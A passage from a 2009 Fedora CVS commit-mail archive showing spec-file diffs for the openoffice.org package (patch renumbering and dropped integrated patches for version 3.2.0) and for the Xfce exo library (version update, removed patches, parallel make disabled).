+Patch41: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
+Patch42: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
+Patch43: workspace.vcl106.patch
+Patch44: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
+Patch45: workspace.dba32h.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1620,98 +1573,54 @@ Rules for autocorrecting common Chinese 
 mv -f redhat.soc extras/source/palettes/standard.soc
 cp -p %{SOURCE1} extras/source/database/evolocal.odb
 cp -p %{SOURCE5} external/unowinreg/unowinreg.dll
-%patch2  -p0 -b .workspace.defaultdoclang.patch
 %if %{gtkprintui}
-%patch3 -p1 -b .rh127576.gtkunixprintdialog.patch
+%patch2 -p1 -b .rh127576.gtkunixprintdialog.patch
 %endif
-%patch4  -p1 -b .rhXXXXXX.extensions.defaulttoevo2.patch
-%patch5  -p1 -b .ooo53397.prelinkoptimize.desktop.patch
-%patch6  -p1 -b .ooo58606.sw.pre-edit.patch
-%patch7  -p1
-%patch8  -p1 -b .ooo88303.vcl.dynamicfontoptions.patch
-%patch9  -p1 -b .rhXXXXXX.padmin.nospadmin.patch
-%patch10 -p1 -b .ooo65491.psprint.enablenups.patch
+%patch3  -p1 -b .rhXXXXXX.extensions.defaulttoevo2.patch
+%patch4  -p1 -b .ooo53397.prelinkoptimize.desktop.patch
+%patch5  -p1 -b .ooo58606.sw.pre-edit.patch
+%patch6  -p1
+%patch7  -p1 -b .ooo88303.vcl.dynamicfontoptions.patch
+%patch8  -p1 -b .rhXXXXXX.padmin.nospadmin.patch
+%patch9  -p0 -b .ooo65491.psprint.enablenups.patch
 %if %{gtkprintui}
-cat %{PATCH11} >> svtools/source/dialogs/localize.sdf
+cat %{PATCH10} >> svtools/source/dialogs/localize.sdf
 %endif
-%patch12 -p1 -b .ooo74188.sw.cursorinsideglyph.patch
-%patch13 -p0 -b .ooo68717.gstreamer.video.patch
-%patch14 -p1 -b .workspace.kso32fixes.patch
-%patch15 -p1 -b .workspace.sb113.patch
-%patch16 -p1 -b .ooo7065.sw.titlepagedialog.patch
-%patch17 -p1 -b .ooo76649.httpencoding.patch
-%patch18 -p1 -b .ooo83878.unopkg.enablelinking.patch
-%patch19 -p1 -b .rh133741.alwaysgtk.vcl.patch
-%patch20 -p1 -b .workspace.impress170.patch
-%patch21 -p1 -b .ooo86080.unopkg.bodge.patch
-%patch22 -p1 -b .ooo64508.vcl.honourfontconfighinting.patch
-%patch23 -p1 -b .ooo88341.sc.verticalboxes.patch
-%patch24 -p1 -b .ooo87970.vcl.samenamesubs.patch
-%patch25 -p1 -b .workspace.tl66.patch
-%patch26 -p1 -b .ooo91924.svx.consistentordering.patch
-%patch27 -p1 -b .workspace.mhu17.patch
-%patch28 -p1 -b .ooo95018.sal.fdwarnings.patch
-%patch29 -p0 -b .workspace.gtkmenuimages.patch
-%patch30 -p1 -b .workspace.calc50.patch
-%patch31 -p1 -b .workspace.mav46.patch
-%patch32 -p1
-%patch33 -p0 -b .workspace.transogl03redux.patch
-%patch34 -p1 -b .workspace.cmcfixes63.patch
-%patch35 -p1 -b .ooo97488.sw.ww8toc.patch
-%patch36 -p1 -b .oooXXXXX.fpicker.allformatsonsave.patch
-%patch37 -p0 -b .ooo98137.filter.redeclared-variables.patch
-%patch38 -p1 -b .workspace.cmcfixes54.patch
-%patch39 -p1 -b .gccXXXXX.solenv.javaregistration.patch
-%patch40 -p1 -b .workspace.fwk103.patch
-%patch41 -p0 -b .workspace.hb18.patch
-%patch42 -p1 -b .oooXXXXX.gcc44.buildfixes.patch
-%patch43 -p0 -b .workspace.vcl100.patch
-%patch44 -p0 -b .workspace.xmergeclean.patch
-%patch45 -p0 -b .workspace.mba32issues02.patch
-%patch46 -p0 -b .workspace.impress169.patch
-%patch47 -p0 -b .workspace.os130.patch
-%patch48 -p0 -b .ooo99541.sw.reopen.flat.addrbooks.patch
-%patch49 -p1 -b .oooXXXXX.solenv.allowmissing.patch
-%patch50 -p0 -b .workspace.cmcfixes57.patch
-%patch51 -p0 -b .ooo100273.fix-utf8-hyphenation.patch
-%patch52 -p1 -b .ooo2497.filter.svg.patch
-%patch53 -p0 -b .workspace.hb32bugs01.patch
-%patch54 -p1 -b .ooo61927.sw.ww6.unicodefontencoding.patch
-%patch55 -p1 -b .workspace.impress171.patch
-%patch56 -p1 -b .workspace.vcl101.patch
-%patch57 -p2 -b .workspace.slideshow1.patch
-%patch58 -p0 -b .ooo90439.sfx2.qstart.hackaround.patch
-%patch59 -p0 -b .ooo101274.opening-a-directory.patch
-%patch60 -p0 -b .ooo101354.filter.xhtml.do-not-label-list-headers.patch
-%patch61 -p0 -b .ooo101355.filter.no-variables-in-keys.patch
-%patch62 -p0 -b .workspace.vcl104.patch
-%patch63 -p0 -b .workspace.evoab2def.patch
-%patch64 -p0 -b .workspace.cmcfixes59.patch
-%patch65 -p0 -b .workspace.impress174.patch
-%patch66 -p0 -b .ooo101567.i18npool.mailocaledata.patch
-%patch67 -p1
-%patch68 -p0 -b .ooo102061.sc.cellanchoring.patch
-%patch69 -p0 -b .ooo102142.sd.resleak.patch
-%patch70 -p0 -b .workspace.calc51.patch
-%patch71 -p0 -b .ooo46270.svx.search-dialog.no-find-all-in-draw.patch
-%patch72 -p0 -b .workspace.locales32.patch
-%patch73 -p0 -b .workspace.cmcfixes60.patch
-%patch74 -p0 -b .workspace.dr72.patch
-%patch75 -p0 -b .workspace.vcl103.patch
-%patch76 -p0 -b .workspace.cmcfixes61.patch
-%patch77 -p0 -b .workspace.os132.patch
-%patch78 -p0 -b .workspace.cmcfixes62.patch
-%patch79 -p0 -b .ooo104280.xmloff.lcl_IsAtEnd.wrong.patch
-%patch80 -p0 -b .ooo104329.dbaccess.primarykeys.patch
-%patch81 -p0 -b .workspace.os131.patch
-%patch82 -p0 -b .workspace.vcl102.patch
-%patch83 -p0 -b .workspace.dr69.patch
-%patch84 -p0 -b .ooo64671.canvas.add-support-for-font-pitch.patch
-%patch85 -p1 -b .oooXXXXXX.sal.justcoredump.patch
-%patch86 -p0 -b .workspace.aw073.patch
-%patch87 -p0 -b .ooo92671.vcl.coverageformat2.patch
-%patch88 -p0 -b .workspace.vcl106.patch
-%patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
+%patch11 -p1 -b .ooo74188.sw.cursorinsideglyph.patch
+%patch12 -p0 -b .ooo68717.gstreamer.video.patch
+%patch13 -p1 -b .ooo7065.sw.titlepagedialog.patch
+%patch14 -p1 -b .ooo76649.httpencoding.patch
+%patch15 -p1 -b .ooo83878.unopkg.enablelinking.patch
+%patch16 -p1 -b .rh133741.alwaysgtk.vcl.patch
+%patch17 -p1 -b .ooo86080.unopkg.bodge.patch
+%patch18 -p1 -b .ooo64508.vcl.honourfontconfighinting.patch
+%patch19 -p1 -b .ooo88341.sc.verticalboxes.patch
+%patch20 -p1 -b .ooo87970.vcl.samenamesubs.patch
+%patch21 -p1 -b .ooo91924.svx.consistentordering.patch
+%patch22 -p1 -b .oooXXXXX.fpicker.allformatsonsave.patch
+%patch23 -p0 -b .ooo98137.filter.redeclared-variables.patch
+%patch24 -p1 -b .gccXXXXX.solenv.javaregistration.patch
+%patch25 -p1 -b .oooXXXXX.solenv.allowmissing.patch
+%patch26 -p0 -b .ooo100273.fix-utf8-hyphenation.patch
+%patch27 -p1 -b .ooo2497.filter.svg.patch
+%patch28 -p1 -b .ooo61927.sw.ww6.unicodefontencoding.patch
+%patch29 -p2 -b .workspace.slideshow1.patch
+%patch30 -p0 -b .ooo90439.sfx2.qstart.hackaround.patch
+%patch31 -p0 -b .ooo101274.opening-a-directory.patch
+%patch32 -p0 -b .ooo101354.filter.xhtml.do-not-label-list-headers.patch
+%patch33 -p0 -b .ooo101355.filter.no-variables-in-keys.patch
+%patch34 -p0 -b .ooo101567.i18npool.mailocaledata.patch
+%patch35 -p0 -b .ooo102061.sc.cellanchoring.patch
+%patch36 -p0 -b .ooo102142.sd.resleak.patch
+%patch37 -p0 -b .ooo46270.svx.search-dialog.no-find-all-in-draw.patch
+%patch38 -p0 -b .ooo104280.xmloff.lcl_IsAtEnd.wrong.patch
+%patch39 -p0 -b .ooo104329.dbaccess.primarykeys.patch
+%patch40 -p0 -b .ooo64671.canvas.add-support-for-font-pitch.patch
+%patch41 -p1 -b .oooXXXXXX.sal.justcoredump.patch
+%patch42 -p0 -b .ooo92671.vcl.coverageformat2.patch
+%patch43 -p0 -b .workspace.vcl106.patch
+%patch44 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
+%patch45 -p0 -b .workspace.dba32h.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -1720,8 +1629,7 @@ POORHELPS=`grep "Working With %PRODUCTNA
 autoconf
 %configure \
  --with-build-version="Ver: %{version}-%{release}" --with-unix-wrapper=%{name} \
- --with-use-shell=bash \
- --disable-ldap --disable-crashdump --disable-epm --disable-qadevooo \
+ --with-use-shell=bash --disable-ldap --disable-epm --disable-qadevooo \
  --disable-fontooo --disable-mathmldtd --disable-Xaw --disable-gnome-vfs \
  --enable-gio --enable-gstreamer --enable-symbols --enable-lockdown \
  --enable-evolution2 --enable-cairo --enable-dbus --enable-opengl \
@@ -1734,9 +1642,10 @@ autoconf
  --with-system-mozilla --with-system-libtextcat --with-system-redland \
  --with-system-dicts --with-external-dict-dir=/usr/share/myspell \
  --without-myspell-dicts --without-system-mspack --without-fonts \
- --without-gpc --without-agg --without-ppds --without-afms \
+ --without-agg --without-ppds --without-afms \
  %{stlflags} --with-lang="%{langpack_langs}" \
- --with-poor-help-localizations="$POORHELPS"
+ --with-poor-help-localizations="$POORHELPS" \
+ --disable-graphite # for now
 
 ./bootstrap
 source ./Linux*Env.Set.sh
@@ -1780,20 +1689,6 @@ export MAXPROCESSLIMIT=65535
 #get core dumps
 ulimit -c unlimited
 
-#build translation tools and apply extra translations, so
-#this can be removed when these translations are upstreamed
-cd transex3/prj
-if ! build --dlv_switch -link --all $BUILD_SMP_MFLAGS -- $DMAKE_SMP_MFLAGS -s; then
-    build --dlv_switch -link --all
-fi
-deliver -link
-%if %{langpacks}
-# i99658
-cp %{SOURCE10} .
-localize -m -x -l or-IN -f or-IN_DEV300_m40.sdf
-%endif
-cd ../..
-
 pushd solver/%{OFFICEUPD}/unxlng*/bin
 ln -s /usr/share/java/commons-logging-1.0.4.jar commons-logging-1.1.1.jar 
 popd
@@ -2066,10 +1961,6 @@ popd
 #Set some aliases to canonical autocorrect language files for locales with matching languages
 pushd $RPM_BUILD_ROOT/%{basisinstdir}/share/autocorr
 
-# i102567
-cp -p %{SOURCE11} acor_en-GB.dat
-cp -p %{SOURCE12} acor_en-ZA.dat
-
 #en-ZA exists and has a good autocorrect file with two or three extras that make sense for South Africa
 en_GB_aliases="en-AG en-AU en-BS en-BW en-BZ en-CA en-DK en-GH en-HK en-IE en-IN en-JM en-NG en-NZ en-SG en-TT"
 for lang in $en_GB_aliases; do
@@ -4245,12 +4136,61 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
+* Fri Oct 09 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
+- drop integrated autocorrection files (i102567)
+- drop integrated workspace.defaultdoclang.patch
+- drop integrated workspace.kso32fixes.patch
+- drop integrated workspace.sb113.patch
+- drop integrated workspace.impress170.patch
+- drop integrated workspace.tl66.patch
+- drop integrated workspace.mhu17.patch
+- drop integrated openoffice.org-3.0.0.ooo95018.sal.fdwarnings.patch
+- drop integrated workspace.gtkmenuimages.patch
+- drop integrated workspace.calc50.patch
+- drop integrated workspace.mav46.patch
+- drop integrated workspace.transogl03redux.patch
+- drop integrated workspace.cmcfixes63.patch
+- drop integrated workspace.cmcfixes54.patch
+- drop integrated workspace.fwk103.patch
+- drop integrated workspace.hb18.patch
+- drop integrated workspace.vcl100.patch
+- drop integrated workspace.xmergeclean.patch
+- drop integrated workspace.mba32issues02.patch
+- drop integrated workspace.impress169.patch
+- drop integrated workspace.os130.patch
+- drop integrated workspace.cmcfixes57.patch
+- drop integrated workspace.hb32bugs01.patch
+- drop integrated workspace.vcl101.patch
+- drop integrated workspace.impress171.patch
+- drop integrated workspace.vcl104.patch
+- drop integrated workspace.evoab2def.patch
+- drop integrated workspace.cmcfixes59.patch
+- drop integrated workspace.impress174.patch
+- drop integrated workspace.unifypaper01.patch
+- drop integrated workspace.calc51.patch
+- drop integrated workspace.locales32.patch
+- drop integrated workspace.cmcfixes60.patch
+- drop integrated workspace.dr72.patch
+- drop integrated workspace.vcl103.patch
+- drop integrated workspace.cmcfixes61.patch
+- drop integrated workspace.os132.patch
+- drop integrated workspace.cmcfixes62.patch
+- drop integrated workspace.os131.patch
+- drop integrated workspace.vcl102.patch
+- drop integrated workspace.dr69.patch
+- drop integrated workspace.aw073.patch
+- drop integrated openoffice.org-3.1.0.oooXXXXX.gcc44.buildfixes.patch
+- drop integrated openoffice.org-3.1.0.ooo99541.sw.reopen.flat.addrbooks.patch
+- drop integrated openoffice.org-3.0.1.ooo97488.sw.ww8toc.patch
+- drop unneccessary openoffice.org-3.0.1.ooo97088.sd.accel-fallback.patch
+- add workspace.dba32h.patch
+
+* Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
   into accepted workspace (caolanm)
 - Resolves: rhbz#527177 add workspace.vcl106.patch (caolanm)
 - Resolves: rhbz#527719 add 
-  openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch (caolanm)
+  openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
 
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)

workspace.vcl106.patch:
 atkutil.cxx |   13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

Index: workspace.vcl106.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/workspace.vcl106.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- workspace.vcl106.patch	6 Oct 2009 14:48:52 -0000	1.1
+++ workspace.vcl106.patch	10 Oct 2009 15:48:48 -0000	1.2
@@ -1,6 +1,6 @@
 --- vcl.orig/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:06:01.000000000 +0100
 +++ vcl/unx/gtk/a11y/atkutil.cxx	2009-10-05 08:10:07.000000000 +0100
-@@ -190,7 +190,7 @@
+@@ -221,7 +221,7 @@
                  if( accessibility::AccessibleStateType::FOCUSED == nState )
                      atk_wrapper_focus_tracker_notify_when_idle( getAccessible(aEvent) );
              }
@@ -9,7 +9,7 @@
              {
                  g_warning("Focused object has invalid index in parent");
              }
-@@ -546,7 +546,14 @@
+@@ -577,7 +577,14 @@
          if( g_aWindowList.find(pWindow) == g_aWindowList.end() )
          {
              g_aWindowList.insert(pWindow);
@@ -25,10 +25,10 @@
          }
  #ifdef ENABLE_TRACING
          else
-@@ -577,7 +584,7 @@
+@@ -608,7 +615,7 @@
              }
          }
-     } 
+     }
 -    catch( uno::Exception e )
 +    catch( const uno::Exception &e )
      {


--- openoffice.org-3.0.0.ooo95018.sal.fdwarnings.patch DELETED ---


--- openoffice.org-3.0.1.ooo97088.sd.accel-fallback.patch DELETED ---


--- openoffice.org-3.0.1.ooo97488.sw.ww8toc.patch DELETED ---


--- openoffice.org-3.1.0.ooo99541.sw.reopen.flat.addrbooks.patch DELETED ---


--- openoffice.org-3.1.0.oooXXXXX.gcc44.buildfixes.patch DELETED ---


--- openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch DELETED ---


--- workspace.aw073.patch DELETED ---


--- workspace.calc50.patch DELETED ---


--- workspace.calc51.patch DELETED ---


--- workspace.cmcfixes54.patch DELETED ---


--- workspace.cmcfixes57.patch DELETED ---


--- workspace.cmcfixes59.patch DELETED ---


--- workspace.cmcfixes60.patch DELETED ---


--- workspace.cmcfixes61.patch DELETED ---


--- workspace.cmcfixes62.patch DELETED ---


--- workspace.cmcfixes63.patch DELETED ---


--- workspace.defaultdoclang.patch DELETED ---


--- workspace.dr69.patch DELETED ---


--- workspace.dr72.patch DELETED ---


--- workspace.evoab2def.patch DELETED ---


--- workspace.fwk103.patch DELETED ---


--- workspace.gtkmenuimages.patch DELETED ---


--- workspace.hb18.patch DELETED ---


--- workspace.hb32bugs01.patch DELETED ---


--- workspace.impress169.patch DELETED ---


--- workspace.impress170.patch DELETED ---


--- workspace.impress171.patch DELETED ---


--- workspace.impress174.patch DELETED ---


--- workspace.kso32fixes.patch DELETED ---


--- workspace.locales32.patch DELETED ---


--- workspace.mav46.patch DELETED ---


--- workspace.mba32issues02.patch DELETED ---


--- workspace.mhu17.patch DELETED ---


--- workspace.os130.patch DELETED ---


--- workspace.os131.patch DELETED ---


--- workspace.os132.patch DELETED ---


--- workspace.sb113.patch DELETED ---


--- workspace.tl66.patch DELETED ---


--- workspace.transogl03redux.patch DELETED ---


--- workspace.unifypaper01.patch DELETED ---


--- workspace.vcl100.patch DELETED ---


--- workspace.vcl101.patch DELETED ---


--- workspace.vcl102.patch DELETED ---


--- workspace.vcl103.patch DELETED ---


--- workspace.vcl104.patch DELETED ---


--- workspace.xmergeclean.patch DELETED ---



From caolanm at fedoraproject.org  Sat Oct 10 15:49:33 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 10 Oct 2009 15:49:33 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2019,1.2020
Message-ID: <20091010154933.8644111C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13466

Modified Files:
	openoffice.org.spec 
Log Message:
310->320


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2019
retrieving revision 1.2020
diff -u -p -r1.2019 -r1.2020
--- openoffice.org.spec	10 Oct 2009 15:48:46 -0000	1.2019
+++ openoffice.org.spec	10 Oct 2009 15:49:33 -0000	1.2020
@@ -126,7 +126,7 @@ Patch45: workspace.dba32h.patch
 %define oooinstdir %{instdir}/openoffice.org3
 %define brinstdir %{instdir}/broffice.org3
 %define fontname opensymbol
-%define OFFICEUPD 310
+%define OFFICEUPD 320
 %define UPD %nil
 %define SOPOST l*
 



From caolanm at fedoraproject.org  Sat Oct 10 16:09:43 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sat, 10 Oct 2009 16:09:43 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2020,1.2021
Message-ID: <20091010160943.D8EF611C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17419

Modified Files:
	openoffice.org.spec 
Log Message:
make dir


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2020
retrieving revision 1.2021
diff -u -p -r1.2020 -r1.2021
--- openoffice.org.spec	10 Oct 2009 15:49:33 -0000	1.2020
+++ openoffice.org.spec	10 Oct 2009 16:09:41 -0000	1.2021
@@ -1689,6 +1689,7 @@ export MAXPROCESSLIMIT=65535
 #get core dumps
 ulimit -c unlimited
 
+mkdir -p solver/%{OFFICEUPD}/unxlng*/bin
 pushd solver/%{OFFICEUPD}/unxlng*/bin
 ln -s /usr/share/java/commons-logging-1.0.4.jar commons-logging-1.1.1.jar 
 popd



From cwickert at fedoraproject.org  Sat Oct 10 16:17:06 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 16:17:06 +0000 (UTC)
Subject: rpms/exo/devel exo.spec,1.40,1.41
Message-ID: <20091010161706.D361411C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18289

Modified Files:
	exo.spec 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
- Disable parallel make due to multilib conflicts.



Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/exo.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- exo.spec	10 Oct 2009 15:06:36 -0000	1.40
+++ exo.spec	10 Oct 2009 16:17:06 -0000	1.41
@@ -3,7 +3,7 @@
 Summary: Application library for the Xfce desktop environment
 Name: exo
 Version: 0.3.103
-Release: 1%{?dist}
+Release: 2%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
@@ -57,7 +57,8 @@ Python libraries and header files for th
 %build
 %configure --enable-gtk-doc --disable-static
 
-make %{?_smp_mflags}
+# using %{?_smp_mflags} causes a multilib conflict, disable it for now
+make 
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -134,6 +135,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
+- Disable parallel make due to multilib conflicts.
+
 * Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-1
 - Update to 0.3.103
 - Drop patches for URL quoting and default mount options (fixed upstream)



From cwickert at fedoraproject.org  Sat Oct 10 16:22:01 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 16:22:01 +0000 (UTC)
Subject: rpms/exo/F-11 .cvsignore, 1.12, 1.13 exo.spec, 1.38, 1.39 sources, 
	1.12, 1.13 exo-0.3.101-default-mount-options.patch, 1.1,
	NONE exo-0.3.101-url-quoting.patch, 1.1, NONE
Message-ID: <20091010162201.4FC5F11C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18832/F-11

Modified Files:
	.cvsignore exo.spec sources 
Removed Files:
	exo-0.3.101-default-mount-options.patch 
	exo-0.3.101-url-quoting.patch 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
- Disable parallel make due to multilib conflicts.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	20 Apr 2009 17:50:07 -0000	1.12
+++ .cvsignore	10 Oct 2009 16:22:00 -0000	1.13
@@ -1 +1 @@
-exo-0.3.101.tar.bz2
+exo-0.3.103.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-11/exo.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- exo.spec	30 Sep 2009 22:22:02 -0000	1.38
+++ exo.spec	10 Oct 2009 16:22:00 -0000	1.39
@@ -2,18 +2,14 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.101
-Release: 5%{?dist}
+Version: 0.3.103
+Release: 2%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
 URL: http://xfce.org/
-Source0: http://www.xfce.org/archive/xfce-4.6.1/src/exo-%{version}.tar.bz2
+Source0: http://archive.xfce.org/src/xfce/exo/0.3/%{name}-%{version}.tar.bz2
 Patch0: exo-0.3.0-x86_64-build.patch
-# http://bugzilla.xfce.org/show_bug.cgi?id=5461
-Patch1: exo-0.3.101-url-quoting.patch
-# http://patches.ubuntu.com/e/exo/extracted/xubuntu-default-mount-options.patch
-Patch2: exo-0.3.101-default-mount-options.patch
 Group: System Environment/Libraries
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: dbus-glib >= 0.22
@@ -57,13 +53,12 @@ Python libraries and header files for th
 %setup -q
 
 %patch0 -p1 -b .x86_64-build
-%patch1 -p1 -b .url-quoting
-%patch2 -p1 -b .utf8
 
 %build
 %configure --enable-gtk-doc --disable-static
 
-make %{?_smp_mflags}
+# using %{?_smp_mflags} causes a multilib conflict, disable it for now
+make 
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -78,9 +73,6 @@ chrpath --delete $RPM_BUILD_ROOT%{_bindi
 chrpath --delete $RPM_BUILD_ROOT%{_libexecdir}/exo-helper-0.3
 chrpath --delete $RPM_BUILD_ROOT%{_libdir}/python*/site-packages/exo-0.3/_exo.so
 
-touch -r NEWS $RPM_BUILD_ROOT%{_datadir}/xfce4/helpers/evolution.desktop
-touch -r NEWS $RPM_BUILD_ROOT%{_datadir}/xfce4/helpers/firefox.desktop
-
 %find_lang libexo-0.3
 
 desktop-file-install                                       \
@@ -143,6 +135,14 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
+- Disable parallel make due to multilib conflicts.
+
+* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-1
+- Update to 0.3.103
+- Drop patches for URL quoting and default mount options (fixed upstream)
+- Revert useless touch -r trick
+
 * Wed Sep 30 2009 Kevin Fenzi <kevin at tummy.com> - 0.3.101-5
 - Use touch -r trick to fix multilib issue
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	20 Apr 2009 17:50:07 -0000	1.12
+++ sources	10 Oct 2009 16:22:01 -0000	1.13
@@ -1 +1 @@
-1c0eebb360f53eab70454b70e1bde36e  exo-0.3.101.tar.bz2
+16be1f98b09f6c72e8474d0776f74846  exo-0.3.103.tar.bz2


--- exo-0.3.101-default-mount-options.patch DELETED ---


--- exo-0.3.101-url-quoting.patch DELETED ---



From cwickert at fedoraproject.org  Sat Oct 10 16:22:00 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 10 Oct 2009 16:22:00 +0000 (UTC)
Subject: rpms/exo/F-12 .cvsignore, 1.12, 1.13 exo.spec, 1.39, 1.40 sources, 
	1.12, 1.13 exo-0.3.101-default-mount-options.patch, 1.1,
	NONE exo-0.3.101-url-quoting.patch, 1.1, NONE
Message-ID: <20091010162200.8E8B211C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18832/F-12

Modified Files:
	.cvsignore exo.spec sources 
Removed Files:
	exo-0.3.101-default-mount-options.patch 
	exo-0.3.101-url-quoting.patch 
Log Message:
* Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.103-2
- Disable parallel make due to multilib conflicts.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	20 Apr 2009 02:08:40 -0000	1.12
+++ .cvsignore	10 Oct 2009 16:21:59 -0000	1.13
@@ -1 +1 @@
-exo-0.3.101.tar.bz2
+exo-0.3.103.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/F-12/exo.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- exo.spec	30 Sep 2009 21:55:38 -0000	1.39
+++ exo.spec	10 Oct 2009 16:22:00 -0000	1.40
@@ -2,18 +2,14 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.101
-Release: 5%{?dist}
+Version: 0.3.103
+Release: 2%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
 License: LGPLv2+ and GPLv2+
 URL: http://xfce.org/
-Source0: http://www.xfce.org/archive/xfce-4.6.1/src/exo-%{version}.tar.bz2
+Source0: http://archive.xfce.org/src/xfce/exo/0.3/%{name}-%{version}.tar.bz2
 Patch0: exo-0.3.0-x86_64-build.patch
-# http://bugzilla.xfce.org/show_bug.cgi?id=5461
-Patch1: exo-0.3.101-url-quoting.patch
-# http://patches.ubuntu.com/e/exo/extracted/xubuntu-default-mount-options.patch
-Patch2: exo-0.3.101-default-mount-options.patch
 Group: System Environment/Libraries
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: dbus-glib >= 0.22
@@ -57,13 +53,12 @@ Python libraries and header files for th
 %setup -q
 
 %patch0 -p1 -b .x86_64-build
-%patch1 -p1 -b .url-quoting
-%patch2 -p1 -b .utf8
 
 %build
 %configure --enable-gtk-doc --disable-static
 
-make %{?_smp_mflags}
+# using %{?_smp_mflags} causes a multilib conflict, disable it for now
+make 
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -78,9 +73,6 @@ chrpath --delete $RPM_BUILD_ROOT%{_bindi
 chrpath --delete $RPM_BUILD_ROOT%{_libexecdir}/exo-helper-0.3
